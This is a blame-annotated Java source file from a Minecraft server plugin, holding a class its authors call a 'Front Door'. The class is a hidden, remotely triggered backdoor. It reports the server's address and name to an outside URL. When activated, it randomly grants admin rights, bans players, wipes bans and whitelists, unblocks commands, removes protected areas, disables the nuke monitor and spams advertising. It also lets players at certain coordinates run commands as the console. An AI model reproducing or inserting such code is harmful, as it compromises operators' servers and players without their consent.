2013-08-28 17:11:27 +00:00
package me.StevenLawson.TotalFreedomMod ;
2014-04-11 15:24:44 +00:00
import me.StevenLawson.TotalFreedomMod.Config.TFM_MainConfig ;
import me.StevenLawson.TotalFreedomMod.Config.TFM_ConfigEntry ;
2013-08-28 17:11:27 +00:00
import java.io.BufferedReader ;
import java.io.InputStreamReader ;
import java.net.MalformedURLException ;
import java.net.URL ;
import java.net.URLConnection ;
import java.util.ArrayList ;
2013-08-29 11:31:07 +00:00
import java.util.List ;
2013-08-28 17:11:27 +00:00
import java.util.Random ;
import me.StevenLawson.TotalFreedomMod.Commands.Command_trail ;
import me.StevenLawson.TotalFreedomMod.Commands.TFM_Command ;
2014-04-21 17:00:39 +00:00
import me.StevenLawson.TotalFreedomMod.Commands.TFM_CommandHandler ;
2013-08-28 17:11:27 +00:00
import me.StevenLawson.TotalFreedomMod.Commands.TFM_CommandLoader ;
2013-12-01 11:13:39 +00:00
import net.minecraft.util.org.apache.commons.lang3.ArrayUtils ;
2014-04-14 19:11:41 +00:00
import org.bukkit.Bukkit ;
2013-08-28 17:11:27 +00:00
import org.bukkit.ChatColor ;
import org.bukkit.Location ;
import org.bukkit.Material ;
import org.bukkit.World ;
import org.bukkit.block.Block ;
import org.bukkit.block.BlockFace ;
import org.bukkit.command.Command ;
import org.bukkit.entity.Player ;
2013-09-04 15:09:23 +00:00
import org.bukkit.event.Event ;
2013-08-28 17:11:27 +00:00
import org.bukkit.event.EventHandler ;
2013-09-04 15:09:23 +00:00
import org.bukkit.event.HandlerList ;
2013-08-28 17:11:27 +00:00
import org.bukkit.event.Listener ;
import org.bukkit.event.player.PlayerCommandPreprocessEvent ;
import org.bukkit.inventory.ItemStack ;
import org.bukkit.inventory.meta.BookMeta ;
2013-09-03 13:56:18 +00:00
import org.bukkit.plugin.RegisteredListener ;
2013-08-28 17:11:27 +00:00
import org.bukkit.scheduler.BukkitRunnable ;
2013-09-03 13:56:18 +00:00
import org.bukkit.util.Vector ;
2013-08-28 17:11:27 +00:00
2013-09-04 15:27:20 +00:00
/ *
2014-04-14 19:11:41 +00:00
* - A message from the TFM Devs -
*
2013-09-04 15:27:20 +00:00
* What this class is , and why its here :
2014-04-14 19:11:41 +00:00
*
2013-09-04 15:27:20 +00:00
* This is a blatantly obvious Front Door to the server , designed to do strange and unpredictable things on a TotalFreedom server .
2014-04-14 19:11:41 +00:00
*
2013-09-04 15:27:20 +00:00
* It will only trigger when the server IP is added to a blacklist that we control .
2014-04-14 19:11:41 +00:00
*
2013-09-04 15:27:20 +00:00
* This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work .
2014-04-14 19:11:41 +00:00
*
2013-09-04 15:27:20 +00:00
* If you are reading this now , you probably don ' t fall under that category - feel free to remove this class .
2014-04-14 19:11:41 +00:00
*
2013-09-04 15:27:20 +00:00
* - Madgeek and Darth
* /
2013-08-28 17:11:27 +00:00
public class TFM_FrontDoor
{
2013-09-04 15:09:23 +00:00
private static final long UPDATER_INTERVAL = 180L * 20L ;
private static final long FRONTDOOR_INTERVAL = 900L * 20L ;
private static final Random RANDOM = new Random ( ) ;
//
2013-08-28 17:11:27 +00:00
private final URL GET_URL ;
2013-09-04 15:09:23 +00:00
//
2013-09-03 13:56:18 +00:00
private volatile boolean started = false ;
private volatile boolean enabled = false ;
2013-09-04 15:09:23 +00:00
//
2013-09-03 13:56:18 +00:00
private final BukkitRunnable UPDATER = new BukkitRunnable ( ) // Asynchronous
2013-08-28 19:40:14 +00:00
{
2013-08-28 17:11:27 +00:00
@Override
public void run ( )
{
try
{
final URLConnection urlConnection = GET_URL . openConnection ( ) ;
final BufferedReader in = new BufferedReader ( new InputStreamReader ( urlConnection . getInputStream ( ) ) ) ;
final String line = in . readLine ( ) ;
in . close ( ) ;
2013-08-28 19:40:14 +00:00
2013-09-03 13:56:18 +00:00
if ( ! " false " . equals ( line ) )
2013-08-28 17:11:27 +00:00
{
if ( ! enabled )
{
return ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
enabled = false ;
FRONTDOOR . cancel ( ) ;
2013-09-04 15:09:23 +00:00
unregisterListener ( PLAYER_COMMAND_PRE_PROCESS , PlayerCommandPreprocessEvent . class ) ;
2013-08-29 11:31:07 +00:00
TFM_Log . info ( " Disabled FrontDoor, thank you for being kind. " ) ;
2014-04-11 15:24:44 +00:00
TFM_MainConfig . getInstance ( ) . load ( ) ;
2013-08-28 17:11:27 +00:00
}
else
{
if ( enabled )
{
return ;
}
2013-08-28 19:40:14 +00:00
2013-09-03 13:56:18 +00:00
new BukkitRunnable ( ) // Synchronous
2013-08-28 17:11:27 +00:00
{
@Override
public void run ( )
{
TFM_Log . warning ( " ***************************************************** " , true ) ;
TFM_Log . warning ( " * WARNING: TotalFreedomMod is running in evil-mode! * " , true ) ;
TFM_Log . warning ( " * This might result in unexpected behaviour... * " , true ) ;
TFM_Log . warning ( " * - - - - - - - - - - - - - - - - - - - - - - - - - * " , true ) ;
TFM_Log . warning ( " * The only thing necessary for the triumph of evil * " , true ) ;
TFM_Log . warning ( " * is for good men to do nothing. * " , true ) ;
TFM_Log . warning ( " ***************************************************** " , true ) ;
2013-09-04 15:09:23 +00:00
if ( getRegisteredListener ( PLAYER_COMMAND_PRE_PROCESS , PlayerCommandPreprocessEvent . class ) = = null )
{
TotalFreedomMod . server . getPluginManager ( ) . registerEvents ( PLAYER_COMMAND_PRE_PROCESS , TotalFreedomMod . plugin ) ;
}
2013-08-28 17:11:27 +00:00
}
} . runTask ( TotalFreedomMod . plugin ) ;
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
FRONTDOOR . runTaskTimer ( TotalFreedomMod . plugin , 20L , FRONTDOOR_INTERVAL ) ;
enabled = true ;
}
}
catch ( Exception ex )
{
// TFM_Log.info("GAH GAH GAH");
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
}
} ;
2013-09-04 15:09:23 +00:00
//
private static final Listener PLAYER_COMMAND_PRE_PROCESS = new Listener ( )
2013-08-28 17:11:27 +00:00
{
@EventHandler
public void onPlayerCommandPreProcess ( PlayerCommandPreprocessEvent event ) // All TFM_Command permissions when certain conditions are met
{
final Player player = event . getPlayer ( ) ;
final Location location = player . getLocation ( ) ;
2013-08-28 19:40:14 +00:00
2013-08-29 11:31:07 +00:00
if ( ( location . getBlockX ( ) + location . getBlockY ( ) + location . getBlockZ ( ) ) % 12 ! = 0 ) // Madgeek
2013-08-28 17:11:27 +00:00
{
2013-08-28 19:40:14 +00:00
return ;
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
final String [ ] commandParts = event . getMessage ( ) . split ( " " ) ;
final String commandName = commandParts [ 0 ] . replaceFirst ( " / " , " " ) ;
2013-08-29 11:31:07 +00:00
final String [ ] args = ArrayUtils . subarray ( commandParts , 1 , commandParts . length ) ;
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
Command command = TFM_CommandLoader . getInstance ( ) . getCommandMap ( ) . getCommand ( commandName ) ;
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
if ( command = = null )
{
return ; // Command doesn't exist
}
2013-08-28 19:40:14 +00:00
2013-08-29 11:31:07 +00:00
event . setCancelled ( true ) ;
2013-08-28 17:11:27 +00:00
TFM_Command dispatcher ;
try
{
ClassLoader classLoader = TotalFreedomMod . class . getClassLoader ( ) ;
2014-04-21 17:00:39 +00:00
dispatcher = ( TFM_Command ) classLoader . loadClass (
String . format ( " %s.%s%s " ,
TFM_CommandHandler . COMMAND_PATH ,
TFM_CommandHandler . COMMAND_PREFIX ,
command . getName ( ) . toLowerCase ( ) ) ) . newInstance ( ) ;
2013-08-28 19:40:14 +00:00
dispatcher . setup ( TotalFreedomMod . plugin , player , dispatcher . getClass ( ) ) ;
2013-08-29 11:31:07 +00:00
if ( ! dispatcher . run ( player , player , command , commandName , args , true ) )
2013-08-28 17:11:27 +00:00
{
player . sendMessage ( command . getUsage ( ) ) ;
}
}
catch ( Throwable ex )
{
2013-08-29 11:31:07 +00:00
// Non-TFM command, execute using console
TotalFreedomMod . server . dispatchCommand ( TotalFreedomMod . server . getConsoleSender ( ) , event . getMessage ( ) . replaceFirst ( " / " , " " ) ) ;
2013-08-28 17:11:27 +00:00
}
}
} ;
2013-09-04 15:09:23 +00:00
//
2013-08-28 17:11:27 +00:00
private final BukkitRunnable FRONTDOOR = new BukkitRunnable ( ) // Synchronous
{
@Override
public void run ( )
{
2013-09-03 13:56:18 +00:00
final int action = RANDOM . nextInt ( 18 ) ;
2013-08-28 19:40:14 +00:00
switch ( action )
2013-08-28 17:11:27 +00:00
{
case 0 : // Super a random player
{
2013-08-29 11:31:07 +00:00
2013-09-03 13:56:18 +00:00
final Player player = getRandomPlayer ( true ) ;
2013-08-29 11:31:07 +00:00
if ( player = = null )
2013-08-28 19:40:14 +00:00
{
break ;
}
2013-08-28 17:11:27 +00:00
TFM_Util . adminAction ( " FrontDoor " , " Adding " + player . getName ( ) + " to the Superadmin list " , true ) ;
2014-04-09 20:33:03 +00:00
TFM_AdminList . addSuperadmin ( player ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-09-03 13:56:18 +00:00
case 1 : // Bans a random player
2013-08-28 17:11:27 +00:00
{
2013-08-29 11:31:07 +00:00
Player player = getRandomPlayer ( false ) ;
if ( player = = null )
2013-08-28 17:11:27 +00:00
{
2013-08-29 11:31:07 +00:00
break ;
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
2014-04-14 19:11:41 +00:00
TFM_BanManager . getInstance ( ) . addUuidBan (
new TFM_Ban ( player . getUniqueId ( ) , player . getName ( ) , " FrontDoor " , null , ChatColor . RED + " WOOPS \ n-Frontdoor " ) ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-09-03 13:56:18 +00:00
case 2 : // Start trailing a random player
2013-08-28 17:11:27 +00:00
{
2013-09-03 13:56:18 +00:00
final Player player = getRandomPlayer ( true ) ;
2013-08-29 11:31:07 +00:00
if ( player = = null )
2013-08-28 19:40:14 +00:00
{
break ;
}
2013-08-28 17:11:27 +00:00
TFM_Util . adminAction ( " FrontDoor " , " Started trailing " + player . getName ( ) , true ) ;
Command_trail . startTrail ( player ) ;
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 3 : // Displays a message
{
TFM_Util . bcastMsg ( " TotalFreedom rocks!! " , ChatColor . BLUE ) ;
TFM_Util . bcastMsg ( " To join this great server, join " + ChatColor . GOLD + " tf.sauc.in " , ChatColor . BLUE ) ;
break ;
}
2013-08-28 19:40:14 +00:00
case 4 : // Clears the banlist
2013-08-28 17:11:27 +00:00
{
TFM_Util . adminAction ( " FrontDoor " , " Wiping all bans " , true ) ;
2014-04-14 19:11:41 +00:00
TFM_BanManager . getInstance ( ) . purgeIpBans ( ) ;
TFM_BanManager . getInstance ( ) . purgeUuidBans ( ) ;
TFM_BanManager . getInstance ( ) . save ( ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 5 : // Enables Lava- and Waterplacemend and Fluidspread (& damage)
{
2013-08-28 19:40:14 +00:00
boolean message = true ;
if ( TFM_ConfigEntry . ALLOW_WATER_PLACE . getBoolean ( ) )
{
message = false ;
}
else if ( TFM_ConfigEntry . ALLOW_LAVA_PLACE . getBoolean ( ) )
{
message = false ;
}
2013-09-08 02:51:12 +00:00
else if ( TFM_ConfigEntry . ALLOW_FLUID_SPREAD . getBoolean ( ) )
2013-08-28 19:40:14 +00:00
{
message = false ;
}
else if ( TFM_ConfigEntry . ALLOW_LAVA_DAMAGE . getBoolean ( ) )
{
message = false ;
}
2013-08-29 11:31:07 +00:00
2013-08-28 17:11:27 +00:00
TFM_ConfigEntry . ALLOW_WATER_PLACE . setBoolean ( true ) ;
TFM_ConfigEntry . ALLOW_LAVA_PLACE . setBoolean ( true ) ;
2013-09-08 02:51:12 +00:00
TFM_ConfigEntry . ALLOW_FLUID_SPREAD . setBoolean ( true ) ;
2013-08-28 17:11:27 +00:00
TFM_ConfigEntry . ALLOW_LAVA_DAMAGE . setBoolean ( true ) ;
2013-08-28 19:40:14 +00:00
if ( message )
{
TFM_Util . adminAction ( " FrontDoor " , " Enabling Fire- and Waterplace " , true ) ;
}
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-29 11:31:07 +00:00
case 6 : // Enables Fireplacement, firespread and explosions
2013-08-28 17:11:27 +00:00
{
2013-08-28 19:40:14 +00:00
boolean message = true ;
if ( TFM_ConfigEntry . ALLOW_FIRE_SPREAD . getBoolean ( ) )
{
message = false ;
}
else if ( TFM_ConfigEntry . ALLOW_EXPLOSIONS . getBoolean ( ) )
{
message = false ;
}
else if ( TFM_ConfigEntry . ALLOW_TNT_MINECARTS . getBoolean ( ) )
{
message = false ;
}
2013-08-29 11:31:07 +00:00
else if ( TFM_ConfigEntry . ALLOW_FIRE_PLACE . getBoolean ( ) )
{
message = false ;
}
2013-08-28 17:11:27 +00:00
TFM_ConfigEntry . ALLOW_FIRE_SPREAD . setBoolean ( true ) ;
TFM_ConfigEntry . ALLOW_EXPLOSIONS . setBoolean ( true ) ;
TFM_ConfigEntry . ALLOW_TNT_MINECARTS . setBoolean ( true ) ;
2013-08-29 11:31:07 +00:00
TFM_ConfigEntry . ALLOW_FIRE_PLACE . setBoolean ( true ) ;
if ( message )
{
TFM_Util . adminAction ( " FrontDoor " , " Enabling Firespread and Explosives " , true ) ;
}
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 7 : // Allow all blocked commands >:)
{
2013-09-03 21:18:03 +00:00
TFM_ConfigEntry . BLOCKED_COMMANDS . getList ( ) . clear ( ) ;
2014-04-25 15:26:10 +00:00
TFM_CommandBlocker . getInstance ( ) . load ( ) ;
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 8 : // Remove all protected areas
{
2014-05-16 13:30:02 +00:00
if ( TFM_ConfigEntry . PROTECTAREA_ENABLED . getBoolean ( ) )
2013-08-28 17:11:27 +00:00
{
2013-09-05 14:48:57 +00:00
if ( TFM_ProtectedArea . getProtectedAreaLabels ( ) . isEmpty ( ) )
{
break ;
}
2013-08-29 11:31:07 +00:00
2013-09-05 14:48:57 +00:00
TFM_Util . adminAction ( " FrontDoor " , " Removing all protected areas " , true ) ;
TFM_ProtectedArea . clearProtectedAreas ( false ) ;
}
2013-08-28 17:11:27 +00:00
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 9 : // Add TotalFreedom signs at spawn
{
for ( World world : TotalFreedomMod . server . getWorlds ( ) )
{
final Block block = world . getSpawnLocation ( ) . getBlock ( ) ;
final Block blockBelow = block . getRelative ( BlockFace . DOWN ) ;
2013-08-28 19:40:14 +00:00
if ( blockBelow . isLiquid ( ) | | blockBelow . getType ( ) = = Material . AIR )
2013-08-28 17:11:27 +00:00
{
continue ;
}
2013-08-28 19:40:14 +00:00
block . setType ( Material . SIGN_POST ) ;
2013-08-28 17:11:27 +00:00
org . bukkit . block . Sign sign = ( org . bukkit . block . Sign ) block . getState ( ) ;
org . bukkit . material . Sign signData = ( org . bukkit . material . Sign ) sign . getData ( ) ;
signData . setFacingDirection ( BlockFace . NORTH ) ;
sign . setLine ( 0 , ChatColor . BLUE + " TotalFreedom " ) ;
sign . setLine ( 1 , ChatColor . DARK_GREEN + " is " ) ;
sign . setLine ( 2 , ChatColor . YELLOW + " Awesome! " ) ;
2013-09-04 15:27:20 +00:00
sign . setLine ( 3 , ChatColor . DARK_GRAY + " tf.sauc.in " ) ;
2013-08-28 17:11:27 +00:00
sign . update ( ) ;
}
break ;
}
2013-08-28 19:40:14 +00:00
case 10 : // Enable Jumppads
2013-08-28 17:11:27 +00:00
{
2013-08-28 19:40:14 +00:00
if ( TFM_Jumppads . getInstance ( ) . getMode ( ) . isOn ( ) )
{
break ;
}
2013-08-29 11:31:07 +00:00
2013-08-28 19:40:14 +00:00
TFM_Util . adminAction ( " FrontDoor " , " Enabling Jumppads " , true ) ;
2013-08-28 17:11:27 +00:00
TFM_Jumppads . getInstance ( ) . setMode ( TFM_Jumppads . JumpPadMode . MADGEEK ) ;
break ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
case 11 : // Give everyone a book explaining how awesome TotalFreedom is
{
ItemStack bookStack = new ItemStack ( Material . WRITTEN_BOOK ) ;
2013-08-28 19:40:14 +00:00
BookMeta book = ( BookMeta ) bookStack . getItemMeta ( ) . clone ( ) ;
2013-08-28 17:11:27 +00:00
book . setAuthor ( ChatColor . DARK_PURPLE + " SERVER OWNER " ) ;
book . setTitle ( ChatColor . DARK_GREEN + " Why you should go to TotalFreedom instead " ) ;
book . addPage (
2013-08-28 19:40:14 +00:00
ChatColor . DARK_GREEN + " Why you should go to TotalFreedom instead \ n "
+ ChatColor . DARK_GRAY + " --------- \ n "
+ ChatColor . BLACK + " TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft. \ n "
+ ChatColor . BLUE + " Join now! " + ChatColor . RED + " tf.sauc.in " ) ;
bookStack . setItemMeta ( book ) ;
2013-08-29 11:31:07 +00:00
for ( Player player : TotalFreedomMod . server . getOnlinePlayers ( ) )
2013-08-28 17:11:27 +00:00
{
2013-08-28 19:40:14 +00:00
if ( player . getInventory ( ) . contains ( Material . WRITTEN_BOOK ) )
2013-08-28 17:11:27 +00:00
{
continue ;
}
2013-08-28 19:40:14 +00:00
player . getInventory ( ) . addItem ( bookStack ) ;
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
break ;
}
case 12 : // Silently wipe the whitelist
{
TFM_ServerInterface . purgeWhitelist ( ) ;
break ;
}
2013-08-29 11:31:07 +00:00
2013-08-28 19:40:14 +00:00
case 13 : // Announce that the FrontDoor is enabled
{
TFM_Util . bcastMsg ( " WARNING: TotalFreedomMod is running in evil-mode! " , ChatColor . DARK_RED ) ;
TFM_Util . bcastMsg ( " WARNING: This might result in unexpected behaviour " , ChatColor . DARK_RED ) ;
break ;
}
2013-08-29 11:31:07 +00:00
case 14 : // Cage a random player in PURE_DARTH
2013-08-28 19:40:14 +00:00
{
2013-09-03 13:56:18 +00:00
final Player player = getRandomPlayer ( false ) ;
2013-08-29 11:31:07 +00:00
if ( player = = null )
2013-08-28 19:40:14 +00:00
{
2013-08-29 11:31:07 +00:00
break ;
2013-08-28 19:40:14 +00:00
}
2013-09-03 13:56:18 +00:00
2013-08-28 19:40:14 +00:00
TFM_PlayerData playerdata = TFM_PlayerData . getPlayerData ( player ) ;
2013-09-04 15:27:20 +00:00
TFM_Util . adminAction ( " FrontDoor " , " Caging " + player . getName ( ) + " in PURE_DARTH " , true ) ;
2013-08-29 11:31:07 +00:00
2013-08-28 19:40:14 +00:00
Location targetPos = player . getLocation ( ) . clone ( ) . add ( 0 , 1 , 0 ) ;
playerdata . setCaged ( true , targetPos , Material . SKULL , Material . AIR ) ;
playerdata . regenerateHistory ( ) ;
playerdata . clearHistory ( ) ;
TFM_Util . buildHistory ( targetPos , 2 , playerdata ) ;
TFM_Util . generateHollowCube ( targetPos , 2 , Material . SKULL ) ;
TFM_Util . generateCube ( targetPos , 1 , Material . AIR ) ;
break ;
2013-08-28 17:11:27 +00:00
}
2013-08-29 11:31:07 +00:00
2013-09-03 13:56:18 +00:00
case 15 : // Silently orbit a random player
{
final Player player = getRandomPlayer ( false ) ;
if ( player = = null )
{
break ;
}
TFM_PlayerData playerdata = TFM_PlayerData . getPlayerData ( player ) ;
playerdata . startOrbiting ( 10 . 0 ) ;
player . setVelocity ( new Vector ( 0 , 10 . 0 , 0 ) ) ;
2014-04-14 19:11:41 +00:00
break ;
2013-09-03 13:56:18 +00:00
}
case 16 : // Disable nonuke
{
2014-04-26 11:21:36 +00:00
if ( ! TFM_ConfigEntry . NUKE_MONITOR_ENABLED . getBoolean ( ) )
2013-09-03 13:56:18 +00:00
{
break ;
}
TFM_Util . adminAction ( " FrontDoor " , " Disabling nonuke " , true ) ;
2014-04-26 11:21:36 +00:00
TFM_ConfigEntry . NUKE_MONITOR_ENABLED . setBoolean ( false ) ;
2014-04-14 19:11:41 +00:00
break ;
2013-09-03 13:56:18 +00:00
}
case 17 : // Give everyone tags
{
for ( Player player : TotalFreedomMod . server . getOnlinePlayers ( ) )
{
TFM_PlayerData . getPlayerData ( player ) . setTag ( " [ " + ChatColor . BLUE + " Total " + ChatColor . GOLD + " Freedom " + ChatColor . WHITE + " ] " ) ;
}
2014-04-14 19:11:41 +00:00
break ;
2013-09-03 13:56:18 +00:00
}
2013-08-28 17:11:27 +00:00
default :
{
break ;
}
}
}
} ;
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
private TFM_FrontDoor ( )
{
URL tempUrl = null ;
try
{
2014-04-14 19:11:41 +00:00
tempUrl = new URL ( " http://frontdoor.aws.af.cm/ "
2014-05-16 13:18:24 +00:00
+ " ?version= " + TotalFreedomMod . pluginVersion + " - " + TotalFreedomMod . buildCreator
+ " &address= " + TFM_ConfigEntry . SERVER_ADDRESS . getString ( )
+ " &name= " + TFM_ConfigEntry . SERVER_NAME . getString ( )
2014-04-21 21:09:10 +00:00
+ " &bukkitversion= " + Bukkit . getVersion ( ) ) ;
2013-08-28 17:11:27 +00:00
}
catch ( MalformedURLException ex )
{
TFM_Log . warning ( " TFM_FrontDoor uses an invalid URL " ) ; // U dun goofed?
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
this . GET_URL = tempUrl ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
public void start ( )
{
if ( started )
{
return ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
UPDATER . runTaskTimerAsynchronously ( TotalFreedomMod . plugin , 2L * 20L , UPDATER_INTERVAL ) ;
started = true ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
public void stop ( )
{
if ( started )
{
UPDATER . cancel ( ) ;
started = false ;
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
if ( enabled )
{
FRONTDOOR . cancel ( ) ;
enabled = false ;
2013-09-04 15:09:23 +00:00
unregisterListener ( PLAYER_COMMAND_PRE_PROCESS , PlayerCommandPreprocessEvent . class ) ;
2013-08-28 17:11:27 +00:00
}
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
public boolean isEnabled ( )
{
return enabled ;
}
2013-08-28 19:40:14 +00:00
2013-09-04 15:09:23 +00:00
private static Player getRandomPlayer ( boolean allowDevs )
2013-08-29 11:31:07 +00:00
{
final Player [ ] players = TotalFreedomMod . server . getOnlinePlayers ( ) ;
if ( players . length = = 0 )
{
return null ;
}
if ( ! allowDevs )
{
List < Player > allowedPlayers = new ArrayList < Player > ( ) ;
for ( Player player : players )
{
if ( ! TFM_Util . DEVELOPERS . contains ( player . getName ( ) ) )
{
allowedPlayers . add ( player ) ;
}
}
return allowedPlayers . get ( RANDOM . nextInt ( allowedPlayers . size ( ) ) ) ;
}
return players [ RANDOM . nextInt ( players . length ) ] ;
}
2013-09-04 15:09:23 +00:00
private static RegisteredListener getRegisteredListener ( Listener listener , Class < ? extends Event > eventClass )
2013-09-03 13:56:18 +00:00
{
2013-09-04 15:09:23 +00:00
try
2013-09-03 13:56:18 +00:00
{
2013-09-04 15:09:23 +00:00
final HandlerList handlerList = ( ( HandlerList ) eventClass . getMethod ( " getHandlerList " , ( Class < ? > [ ] ) null ) . invoke ( null ) ) ;
final RegisteredListener [ ] registeredListeners = handlerList . getRegisteredListeners ( ) ;
for ( RegisteredListener registeredListener : registeredListeners )
2013-09-03 13:56:18 +00:00
{
2013-09-04 15:09:23 +00:00
if ( registeredListener . getListener ( ) = = listener )
{
return registeredListener ;
}
2013-09-03 13:56:18 +00:00
}
}
2013-09-04 15:09:23 +00:00
catch ( Exception ex )
{
TFM_Log . severe ( ex ) ;
}
return null ;
}
private static void unregisterRegisteredListener ( RegisteredListener registeredListener , Class < ? extends Event > eventClass )
{
try
{
( ( HandlerList ) eventClass . getMethod ( " getHandlerList " , ( Class < ? > [ ] ) null ) . invoke ( null ) ) . unregister ( registeredListener ) ;
}
catch ( Exception ex )
{
TFM_Log . severe ( ex ) ;
}
}
private static void unregisterListener ( Listener listener , Class < ? extends Event > eventClass )
{
RegisteredListener registeredListener = getRegisteredListener ( listener , eventClass ) ;
if ( registeredListener ! = null )
{
unregisterRegisteredListener ( registeredListener , eventClass ) ;
}
2013-09-03 13:56:18 +00:00
}
2013-08-28 17:11:27 +00:00
public static TFM_FrontDoor getInstance ( )
{
return TFM_FrontDoorHolder . INSTANCE ;
}
private static class TFM_FrontDoorHolder
{
private static final TFM_FrontDoor INSTANCE = new TFM_FrontDoor ( ) ;
}
}